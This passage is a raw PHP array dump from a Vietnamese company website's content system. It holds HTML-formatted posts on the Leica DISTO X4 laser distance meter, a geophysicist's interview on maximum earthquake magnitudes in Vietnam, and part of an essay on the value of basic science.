=> 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên 